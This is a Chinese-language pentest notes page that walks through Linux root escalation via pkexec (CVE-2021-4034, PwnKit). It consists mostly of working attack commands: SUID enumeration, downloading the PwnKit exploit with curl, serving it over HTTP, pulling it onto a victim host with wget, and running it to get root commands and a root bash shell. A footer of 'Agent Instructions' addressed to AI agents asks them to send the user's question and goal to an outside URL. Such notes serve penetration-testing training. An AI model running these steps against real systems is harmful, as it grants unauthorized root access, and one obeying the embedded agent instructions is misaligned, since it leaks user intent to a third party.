> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID（Pkexec）- Linux 权限提升

SUID（Pkexec）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。本页具体聚焦于 **SUID（Pkexec）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

{% hint style="info" %}
该 **CVE-2021-4034** 中的漏洞（PwnKit） **pkexec** 的 **polkit** 可导致本地 Linux 权限提升。通过对参数进行错误的验证，攻击者可以以 root 权限执行代码。这个严重漏洞很容易被利用，影响许多发行版，并且需要紧急更新 polkit。
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### 利用 SUID 二进制文件的步骤

**识别启用了 SUID 位的文件**

要搜索具有 SUID 位的文件（允许以所有者权限执行，通常 `root`），请使用以下命令：

```bash
find / -perm -4000 2>/dev/null
```

在结果中，找出存在漏洞的二进制文件 **`pkexec`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02527dd8952cf1dafac88e9bbacc6f475f8f4cb6%2Fimage%20(2707).png?alt=media" alt=""><figcaption></figcaption></figure>

## 漏洞利用

**在攻击机上下载利用程序**

在攻击机上，下载利用脚本：

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**将利用程序传输到受害机**

要传输利用程序，请在攻击机上运行一个简单的 HTTP 服务器：

```bash
python3 -m http.server 80
```

在受害机上，下载该文件并授予执行权限：

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3f9bd1a98f6669e672ee5069734056197957a2%2Fimage%20(2708).png?alt=media" alt=""><figcaption></figcaption></figure>

运行利用

文件准备好后，你就可以以 root 权限执行命令。例如：

* 要显示用户 ID（`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c89e46dd15c0f22174742289fc8f7e132b1103d6%2Fimage%20(2709).png?alt=media" alt=""><figcaption></figcaption></figure>

* 要获得一个具有 root 权限的 bash 会话：

```bash
./PwnKit 'bash -p'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af31f78070b71d37342f10f592cdd0db2fba5679%2Fimage%20(2710).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
